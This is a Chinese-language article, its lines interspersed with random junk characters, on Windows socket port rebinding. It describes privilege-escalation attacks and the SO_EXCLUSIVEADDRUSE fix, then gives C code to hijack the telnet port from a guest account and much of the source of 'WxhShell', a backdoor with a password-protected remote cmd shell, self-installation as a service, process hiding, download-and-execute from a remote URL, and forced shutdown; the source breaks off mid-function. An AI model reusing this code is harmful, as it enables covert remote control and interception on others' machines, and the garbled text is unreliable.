在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
w" JGO s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
^dfx~C G?/c/r G saddr.sin_family = AF_INET;
4uUs7T <s}|ZnGE saddr.sin_addr.s_addr = htonl(INADDR_ANY);
3 Z1OX]R sT`^ljp4 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&K
*X)DAs SX+4HJB 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
% $TEDr! #Qd'+M 这意味着什么?意味着可以进行如下的攻击:
`
8UWE { x@m<Ym- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?PH/?QP VFSz-<L 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
5m7b\Mak e:OyjG5_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
6/6Rah! c
0-w6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
A,BEKjR~J hwVAXsF~ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
h!e2
+4{4{ P'tMu6+) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
*d>vR1 `?9T~, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
ZPyM>XK$4 *QH[,F`I #include
+9[SVw8 #include
'9J*6uXf. #include
6^E`Sa!s #include
o@/xPo| DWORD WINAPI ClientThread(LPVOID lpParam);
w<t,j~ Pr# int main()
qVBL>9O*. {
j[XYj6*d WORD wVersionRequested;
%8w9E= DWORD ret;
3wC
R|ab} WSADATA wsaData;
M&y5AB0 BOOL val;
w!`Umll2 SOCKADDR_IN saddr;
iYKU[UP? SOCKADDR_IN scaddr;
`*yAiv> int err;
.X'<
D* SOCKET s;
}fA;7GW+9 SOCKET sc;
?z=\Ye5x int caddsize;
3taa^e. HANDLE mt;
3SNL5 DWORD tid;
a2yE:16o6 wVersionRequested = MAKEWORD( 2, 2 );
1b3( err = WSAStartup( wVersionRequested, &wsaData );
iF9_b if ( err != 0 ) {
1h=D4yN printf("error!WSAStartup failed!\n");
z(H?VfJo return -1;
hCC}d0gf`n }
=yqHC<8: saddr.sin_family = AF_INET;
;S JF%@x vT7g< //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
_]|Qec) &U"X$aFc saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Np2ci~"<. saddr.sin_port = htons(23);
)X5(#E if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
EGS%C%>l/o {
XP?*=Z] printf("error!socket failed!\n");
</s,pe79B return -1;
v <Hb-~ }
z[9UQU~x? val = TRUE;
w`gyE
6A //SO_REUSEADDR选项就是可以实现端口重绑定的
r,xmEj0E if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
6>DLp}d {
2
9#]Vr printf("error!setsockopt failed!\n");
8_xLl2 return -1;
8h.V4/? }
oT&m4I //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
gyu6YD8L //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
}c|U X
ZW //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Y=2Un).& JsQ6l%9 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
kX2d7yQZz {
l,d, T ret=GetLastError();
6RK\}@^=K printf("error!bind failed!\n");
"!Lkp2\ return -1;
:a3xvN-l }
G7-!`-Nk listen(s,2);
- k`.j while(1)
#C*&R>IvY {
]ii+S"U3 caddsize = sizeof(scaddr);
u) *Kws //接受连接请求
R1%y]]*-P sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.y): Rh^ if(sc!=INVALID_SOCKET)
AK2WN#u@Z {
n29(!10Px mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
j*zD0I] if(mt==NULL)
q;A;H)?g {
CMl~=[foW printf("Thread Creat Failed!\n");
'M/([|@ break;
K+),?Q
?.p }
lf$Ve }
;dQAV\ CloseHandle(mt);
#H5=a6E+q }
-]XP2}#d closesocket(s);
r:9gf?(& WSACleanup();
y=H@6$2EQ return 0;
>n$!< }
&mkpJF/ DWORD WINAPI ClientThread(LPVOID lpParam)
%Kto.Xq {
`fS^
j-_M SOCKET ss = (SOCKET)lpParam;
.zC*Z&e,.[ SOCKET sc;
A';QuWdT unsigned char buf[4096];
{p/YCch, SOCKADDR_IN saddr;
]vo_gKZ long num;
Gr)-5qh DWORD val;
$s gH'/> DWORD ret;
T+CajSV //如果是隐藏端口应用的话,可以在此处加一些判断
/Ox)|)l //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
G]*|H0j saddr.sin_family = AF_INET;
1;wb(DN*c saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
;n*J$B saddr.sin_port = htons(23);
=2 jhII if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~&g a1r2v? {
urZ8j?}c printf("error!socket failed!\n");
)2.)3w1_4 return -1;
'^}+Fv<O }
yV]xRaRr2 val = 100;
g.C5r]=+& if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=r6qX {
+nU.p/cK+\ ret = GetLastError();
3-x%wD. return -1;
`9 [i79U }
]~jN^"o_B if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
!O)qYmK]| {
>i~^TY-& ret = GetLastError();
~F[L4y!sL return -1;
][:rLs }
ZkWL_ H) if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
b^Cfhy^RTq {
`ROG~0lN( printf("error!socket connect failed!\n");
<avQR9'& closesocket(sc);
5H
!y 46z closesocket(ss);
Tr .hmG U return -1;
5D' bJ6PO }
4#BRx#\O while(1)
m<@z}%v- {
= `t^~.5 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
]QrR1Rg //如果是嗅探内容的话,可以再此处进行内容分析和记录
#`ejU &!6 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
GYK\LHCPd num = recv(ss,buf,4096,0);
JN[0L: if(num>0)
.v])S}K send(sc,buf,num,0);
_\zQ"y|G else if(num==0)
PT_KXk break;
`W5-.Tv num = recv(sc,buf,4096,0);
h;M3yTM- if(num>0)
oU+F3b}5p send(ss,buf,num,0);
eegx'VSX4 else if(num==0)
OO-k|\{| break;
S/gm.?$V }
nhH;?D3 closesocket(ss);
9& closesocket(sc);
8 ws$k\> return 0 ;
92[a;a }
qL
5>o>J )K0i@hM(n $3;Upgv ==========================================================
$a#H,Xv# 658^"]Rk'/ 下边附上一个代码,,WXhSHELL
{eHAg<+ H3O@9YU ==========================================================
dULS^i@@ =8JB8ZFP #include "stdafx.h"
p2 ! FcFi wAF,H8 -DK #include <stdio.h>
jRQ+2@n{E #include <string.h>
$c9k*3{<+A #include <windows.h>
Tlsa%pn #include <winsock2.h>
A
Y9
9!p #include <winsvc.h>
f)NHM' #include <urlmon.h>
Pe ~c 0(\+-< #pragma comment (lib, "Ws2_32.lib")
?IW_O~Js #pragma comment (lib, "urlmon.lib")
T|) {< 6X_\Ve #define MAX_USER 100 // 最大客户端连接数
rAukHeH #define BUF_SOCK 200 // sock buffer
j]5WK_~M #define KEY_BUFF 255 // 输入 buffer
V3s L; zx%X~U #define REBOOT 0 // 重启
YA&`&$ #define SHUTDOWN 1 // 关机
PkUd~c 6mPm=I[oh #define DEF_PORT 5000 // 监听端口
4s.]M>Yb X.#oEmA,P #define REG_LEN 16 // 注册表键长度
;L"!I3dM) #define SVC_LEN 80 // NT服务名长度
|:[9O`U)s &m'kI // 从dll定义API
Q*ju
sm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
9
[Y-M typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]z == typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
d7Ro}>lp typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Xu} U{x> \caH pof // wxhshell配置信息
FN87^.^2S struct WSCFG {
MDO$m g int ws_port; // 监听端口
PuCc2'# char ws_passstr[REG_LEN]; // 口令
Z"v<0]rN int ws_autoins; // 安装标记, 1=yes 0=no
C/@LZ OEL char ws_regname[REG_LEN]; // 注册表键名
I.jZ
wW!r char ws_svcname[REG_LEN]; // 服务名
8l+H"M&| char ws_svcdisp[SVC_LEN]; // 服务显示名
k*Nr!Z!} char ws_svcdesc[SVC_LEN]; // 服务描述信息
raUs%Y3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
eV!L^>>> int ws_downexe; // 下载执行标记, 1=yes 0=no
ukAKFc^)k char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
@wN
G char ws_filenam[SVC_LEN]; // 下载后保存的文件名
o( G"k vmZ"o9-{#X };
R.RSQk7; ]k%PG-9 // default Wxhshell configuration
dl|gG9u4Q struct WSCFG wscfg={DEF_PORT,
P~ 0Jg#
V "xuhuanlingzhe",
HSz"
tN 1,
(?i[jO||B "Wxhshell",
FfFak@H "Wxhshell",
+l0g`: "WxhShell Service",
93Yn`Av; "Wrsky Windows CmdShell Service",
ZFn(x*L "Please Input Your Password: ",
0Y+FRB]u 1,
${r[!0| "
http://www.wrsky.com/wxhshell.exe",
/n{1o\ "Wxhshell.exe"
"&o,yd% };
2xxB\J 9Sg<K)Mc // 消息定义模块
>hsuAU.UOR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
[~mGsXV char *msg_ws_prompt="\n\r? for help\n\r#>";
F jrINxL7^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
AR&:Q4r| char *msg_ws_ext="\n\rExit.";
+]wuJSxc char *msg_ws_end="\n\rQuit.";
5W? PCOh\ char *msg_ws_boot="\n\rReboot...";
NC"yDWnO' char *msg_ws_poff="\n\rShutdown...";
i'HQQWd char *msg_ws_down="\n\rSave to ";
QWO]`q`| L^J-("e_ char *msg_ws_err="\n\rErr!";
4,P bg| char *msg_ws_ok="\n\rOK!";
URTzX
2'[
R= 5** char ExeFile[MAX_PATH];
-j2 (R?a int nUser = 0;
-K%5(Eg HANDLE handles[MAX_USER];
[xlIG}e9 int OsIsNt;
1y"3 6[ga$nF? SERVICE_STATUS serviceStatus;
p~jlx~1-] SERVICE_STATUS_HANDLE hServiceStatusHandle;
&X>7n~@0 5f7zk // 函数声明
a:Q[gF8> int Install(void);
` lpz-"EEV int Uninstall(void);
\=2m7v#E int DownloadFile(char *sURL, SOCKET wsh);
\Sy7"a int Boot(int flag);
0D&> Gyc*0 void HideProc(void);
)}lRd#V int GetOsVer(void);
_^S]g mE int Wxhshell(SOCKET wsl);
C"pB"^0 void TalkWithClient(void *cs);
7}o/: int CmdShell(SOCKET sock);
HIc a nk int StartFromService(void);
rNN
j0zw> int StartWxhshell(LPSTR lpCmdLine);
uGH?N 3'I^lc VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
!u|Tu4G^ VOID WINAPI NTServiceHandler( DWORD fdwControl );
n D6G RYR-K^;R // 数据结构和表定义
Ud%s^A-qS SERVICE_TABLE_ENTRY DispatchTable[] =
=\kMXB {
{3\R|tZh,` {wscfg.ws_svcname, NTServiceMain},
wxQ>ifi9Z {NULL, NULL}
/BA{O&Ro^ };
^rAa"p 9 +OaUP*\Dd // 自我安装
/pH(WHT+/H int Install(void)
+%*&.@z_ {
Qs 2.ef? char svExeFile[MAX_PATH];
<,@%*G1- HKEY key;
|L3X_Me strcpy(svExeFile,ExeFile);
x hs#u #KpY6M-H // 如果是win9x系统,修改注册表设为自启动
eny/
fm if(!OsIsNt) {
Ve 3 ; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
n(ir[w#,]" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@4+#Xd7" RegCloseKey(key);
~Qj}ijWD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
HTjkR*E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B|Wk?w.{r\ RegCloseKey(key);
: 3ZYJW1 return 0;
$K}DB N; 4 }
DT(d@upH }
" {dek }
l$Gl'R>>* else {
o+ O}Te [:;# ]? // 如果是NT以上系统,安装为系统服务
n%%7KTqu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?;ukvD if (schSCManager!=0)
-.I4-6~ {
h) (*q+a SC_HANDLE schService = CreateService
IzLF'F (
-6~' cm schSCManager,
(nSml,gU wscfg.ws_svcname,
0JyVNuHn wscfg.ws_svcdisp,
XVVD 0^ Q SERVICE_ALL_ACCESS,
"E*e2W SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"9y(
} SERVICE_AUTO_START,
K7TzF& SERVICE_ERROR_NORMAL,
j f~wBmd7 svExeFile,
lTRl"`@S NULL,
,I.WX,OR NULL,
?,knit2x NULL,
e)^j+ l NULL,
6cS>bl NULL
X*eW#|$\ );
w|Cx>8P8@ if (schService!=0)
"?}uQ5f {
K!z` CloseServiceHandle(schService);
kQ>^->w CloseServiceHandle(schSCManager);
AC%JC+ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
G 7LIdn= strcat(svExeFile,wscfg.ws_svcname);
Q\Kx"Y3i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Td\o9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
'cZN{ZMWG RegCloseKey(key);
4\otq%Y return 0;
0$ .m_0H }
|Bo .4lX }
[]kN16F CloseServiceHandle(schSCManager);
AIijCL }
n| !@1sd }
Z?NW1m()F :\
QUs} return 1;
$0A ~uDbs }
E; Y;r" 62'1X" // 自我卸载
yl&UM
qI( int Uninstall(void)
cQj-+Tmu {
+/{L#e> HKEY key;
H1:be.^YP wNJzwC&iQ if(!OsIsNt) {
|`d0^(X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A
Io|TD5{~ RegDeleteValue(key,wscfg.ws_regname);
Q%S9fq,q RegCloseKey(key);
jvy$t$az if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
XL}"1lE RegDeleteValue(key,wscfg.ws_regname);
*>8ce-PV RegCloseKey(key);
ZAKeEm2A return 0;
6=hk=2]f }
RIn9(r }
FqFapRX66Z }
K*-@Q0"KM{ else {
$4SzUZ0 |J5 =J SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
ecJ6 if (schSCManager!=0)
xw^.bz| {
P$GjF-!: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
TtD@'QXq if (schService!=0)
0IkM {
cE'L% Z if(DeleteService(schService)!=0) {
y3u+_KY- CloseServiceHandle(schService);
E.bi05l CloseServiceHandle(schSCManager);
sW#JjtK return 0;
PCrU<J 7 }
}G <T :(a CloseServiceHandle(schService);
Y/ot3[ }
SO\/-]9# CloseServiceHandle(schSCManager);
Q^Ql\ }
yF._*9Q3hK }
FyoEQ%.bI tvKAIwe return 1;
T GB_~Bqe }
T'-FV "t=hzn"~% // 从指定url下载文件
Joe_PS int DownloadFile(char *sURL, SOCKET wsh)
SlLw{Yb7\. {
R8ONcG HRESULT hr;
o PKr*
`' char seps[]= "/";
K0+.q?8D| char *token;
owpWz6k7 char *file;
3-n19[zk char myURL[MAX_PATH];
NSAF4e char myFILE[MAX_PATH];
1SIq[1 r,P1^ uHx strcpy(myURL,sURL);
LA3<=R] token=strtok(myURL,seps);
)D-c]+yt while(token!=NULL)
_?voU {
<|Yj%f file=token;
qZEoiNH(Tj token=strtok(NULL,seps);
M6r^L6$N }
<+#oBN $4FX(O0Q@ GetCurrentDirectory(MAX_PATH,myFILE);
8e~|.wOL strcat(myFILE, "\\");
g?v\!/~(u strcat(myFILE, file);
:K82sCy%5 send(wsh,myFILE,strlen(myFILE),0);
^i)hm send(wsh,"...",3,0);
''OfS D_g hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
lS^(&<{ if(hr==S_OK)
=,!\~`^ return 0;
?YM4b5!3T else
/Ss7"*JLe return 1;
d@0Kr5_ b
IW'c_
, }
~rr 4ok UM*jKi2]" // 系统电源模块
<AlZ]~Yct int Boot(int flag)
#3=P4FUz. {
?Ucu#UO HANDLE hToken;
sd#|3 TOKEN_PRIVILEGES tkp;
3ss6_xd+ ^\:8w0Y^ if(OsIsNt) {
"&Dx=Yf OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
q_W0/Ki8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
{yU+)t(. tkp.PrivilegeCount = 1;
>YtdA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
$2DuB AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
R
#]jSiS if(flag==REBOOT) {
)\;Z4x;]U if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
q*![AzFh return 0;
)QagS.L{z }
6&Juv else {
5m:i6,4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
+z9@:L return 0;
1=7jz]t }
;< )~Y- }
Q zZ;Ob]' else {
Z4$cyL'$P if(flag==REBOOT) {
7`IpBm< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
/"H`.LD.? return 0;
w=h1pwY }
e6B{QP#jq else {
8@{OR"Ec if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
kPBV6+d~ return 0;
{K{EOB_u }
{j {+0V }
Rd7_~.Bo d%I"/8-J return 1;
C9DJO:f.2y }
m@`8A ,B&fFis // win9x进程隐藏模块
I\?9+3 XnQ void HideProc(void)
. #Z+Z {
kc'pN&]r: X0;4_,= HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
H
xV#WoYKj if ( hKernel != NULL )
!|q<E0@w\ {
%S`
v!*2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
YJS{i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
&bz:K8c FreeLibrary(hKernel);
1pv}]&X }
o~FRF0f*VP 49Df?sx return;
MaBYk?TR~ }
vkS)E0s /:6Wzj // 获取操作系统版本
C.^Ven int GetOsVer(void)
+t4BQf {
{k.MS-q OSVERSIONINFO winfo;
2-zT$`[]J winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
V]c;^ GetVersionEx(&winfo);
KD1=Y80P if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=ItkFjhBc return 1;
z)XRx:YU;$ else
b5IA"w return 0;
=&0wr6 }
Bx"7%[ t#nn@Yf // 客户端句柄模块
LNl#h int Wxhshell(SOCKET wsl)
3QSZ ZJ {
2>-S-;i SOCKET wsh;
o47r<>t struct sockaddr_in client;
RO0>I8c1c DWORD myID;
3Y)PU= S0g'r
!;6 while(nUser<MAX_USER)
@ DZD {
=z{JgD/ int nSize=sizeof(client);
+5.t. d wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
ri C[lB if(wsh==INVALID_SOCKET) return 1;
E|YdcS ]Mj/&b>"e handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Sp}D;7 if(handles[nUser]==0)
vhvdKD
closesocket(wsh);
vQF
vtwd else
T&T/C@z'R nUser++;
"'^4*o9 }
04J}UE]Ww WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
q(5j(G ;
O=) return 0;
H$ftGwS8 }
[ rNXQ`/ /2{5; // 关闭 socket
.yT8NTu~0j void CloseIt(SOCKET wsh)
mD:IO {
FtufuL?JS closesocket(wsh);
T{]~07N? nUser--;
[md u!!* ExitThread(0);
]maYUKqv}' }
5#3W5z 2>}xhQJ // 客户端请求句柄
C^t(^9 void TalkWithClient(void *cs)
=S[yE]v^ {
Z'^U ad6 7z\m;
1 SOCKET wsh=(SOCKET)cs;
IdIrI char pwd[SVC_LEN];
KucV3-I char cmd[KEY_BUFF];
VHOfaCE char chr[1];
xRuFuf8 int i,j;
C
]Si|D 6m .k;' while (nUser < MAX_USER) {
~,D@8tv in<Rq"L if(wscfg.ws_passstr) {
9/ SXs0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
c4e_6=Iv //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L_Q#(in //ZeroMemory(pwd,KEY_BUFF);
d;Hn#2C i=0;
syx\gz while(i<SVC_LEN) {
G.+l7bnZM B)$c|dUV // 设置超时
WWwUwUi fd_set FdRead;
a/~aFmu6b struct timeval TimeOut;
rzrl>9
h FD_ZERO(&FdRead);
X u"R^
FD_SET(wsh,&FdRead);
G{aT2c TimeOut.tv_sec=8;
TUL_TR TimeOut.tv_usec=0;
0Q"u#V Sp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
@L84>3O if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
#6+FY+/ :J}t&t if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
z
sQo$p pwd
=chr[0]; i$^)UZJ&0
if(chr[0]==0xd || chr[0]==0xa) { [=uo1%
pwd=0; DfJ2PX}q
break;
qLncn}oNM
} %zC[KE*~
i++; SgMrce<;
} HQ9f ,<
@RD+xYm
// 如果是非法用户,关闭 socket #5sD{:f`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bLz*A-
} kH*P n'
*IlaM'[*
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yTE%hHH]&[
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aYL|@R5;e
KDi|(
while(1) { u^I(Ny
RO\gax
ZeroMemory(cmd,KEY_BUFF); R8*Q$rH<
]"AyAkT(
// 自动支持客户端 telnet标准 QVZD/shq
j=0; d
"BW/%m|g
while(j<KEY_BUFF) { @Un/c:n
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _|<d5TI
cmd[j]=chr[0]; J
)BI:]m
if(chr[0]==0xa || chr[0]==0xd) { Y9SGRV(
cmd[j]=0; j$fAq\B
break; v/uO&iQw5
} ->-*]-fv[L
j++; `Yc_5&"
} t{!
g1(Xg.
// 下载文件 s30
O@M))
if(strstr(cmd,"http://")) { sKLX [l
send(wsh,msg_ws_down,strlen(msg_ws_down),0); #gQF'
if(DownloadFile(cmd,wsh)) rh2LGuo4m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,p{`pma
else *, Ld/O;s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'f8(#n=6qP
} ocwG7J\W
else { N5|Rmfo1
fnzy5+9"
switch(cmd[0]) { s*M@%_A?
9D@$i<D:
// 帮助 PDx)S7+w[
case '?': { fLN! EDq
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~>G]_H]?
break; &zL#hBE
} GYRYbiwqdi
// 安装 O@8pC+#`Z
case 'i': { 7k{2Upg;
if(Install()) [}nK"4T"Ri
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m:tiY
[c>W
else b yg0.+e0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kg5ev8
break; Eu@5L9A
} \`'KlF2
// 卸载 Qx|H1_6
case 'r': { `znB7VQ0
if(Uninstall()) q)u2Y]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @b&84Gn2
r
else 78#!Q.##
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;'T{li2
break; -P=g3Q i
} p?(L'q"WK
// 显示 wxhshell 所在路径 {B$2"q/~
case 'p': { :@
uIxa$[
char svExeFile[MAX_PATH]; 9V1cdb~?"T
strcpy(svExeFile,"\n\r"); )\/
=M*
strcat(svExeFile,ExeFile); Ob +9W
send(wsh,svExeFile,strlen(svExeFile),0); a+41|)pt
break; /%x7+Rl\-^
} 1ZJ4*b n
// 重启 (Ha@s^?.C
case 'b': { UyYfpL"$A"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _cJ[
FP1
if(Boot(REBOOT)) 9~AWn g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,a|@d}U
else { hp!d/X=J_
closesocket(wsh); iCG`3(xL
ExitThread(0); =?@Q-(bp
} khd5 Cf[
break; _fTwmnA
} ";3*?/uM
// 关机 `hh9"Ws%
case 'd': { H!r &aP
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;uI~BV*3
if(Boot(SHUTDOWN)) $Ptk|qFe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); W+>wu%[L
else { A//?6OJx?
closesocket(wsh); ,#u\l>&$
ExitThread(0); i`U:gw
} cH`^D?#se
break; qV1O-^&[f=
} O_@2;iD^^
// 获取shell }amU[U,
case 's': { -mNQ;zI1
CmdShell(wsh); IY(h~O
closesocket(wsh); dT@UK^\
ExitThread(0); 4z4v\IpB
break; o.:p_(|hI
} ~GB=Nz
// 退出 85U.wpG
case 'x': { _"f :`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3*S[eqMJc
CloseIt(wsh); @Z(rgF{{
break; =iz,S:[
} $`Nd?\$
// 离开 '8`T|2
case 'q': { S0w> hr
send(wsh,msg_ws_end,strlen(msg_ws_end),0); M8W# io
closesocket(wsh); j\)H
WSACleanup(); W*T{,M@Y
exit(1); 3><u*0qe%I
break; 9w~cvlv[
} I=dGq;Jaz
} ?qHF}k|
} e$l6gY
LVtu*k
// 提示信息 9Ld9N;rWm#
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <bmLy_":
} hq_~^/v\
} y%(X+E"n*
Ub)I66
return; 66:ALFwd7
} s"#]L44N
6vz1*\:H~
// shell模块句柄 Q|hm1q
int CmdShell(SOCKET sock) -e>|kPfv!
{ (i`(>I.(/
STARTUPINFO si; +cg
{[f,J;
ZeroMemory(&si,sizeof(si)); aO1IVESr$
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Hhv$4;&X
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q^Tis>*u6
PROCESS_INFORMATION ProcessInfo; -WR}m6yMr
char cmdline[]="cmd"; NrJzVGeS
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QXQ
return 0; Bku'H
} hw,^G5m
\2DE==M)P
// 自身启动模式 }C6@c1myq-
int StartFromService(void) Q7Ij4
{ c?6d2jH.
typedef struct \KM|f9-b
{ F-0UdV
DWORD ExitStatus; H^(L90
DWORD PebBaseAddress; v[#)GB
_5
DWORD AffinityMask; }=@zj6AC
DWORD BasePriority; T0|H9>M
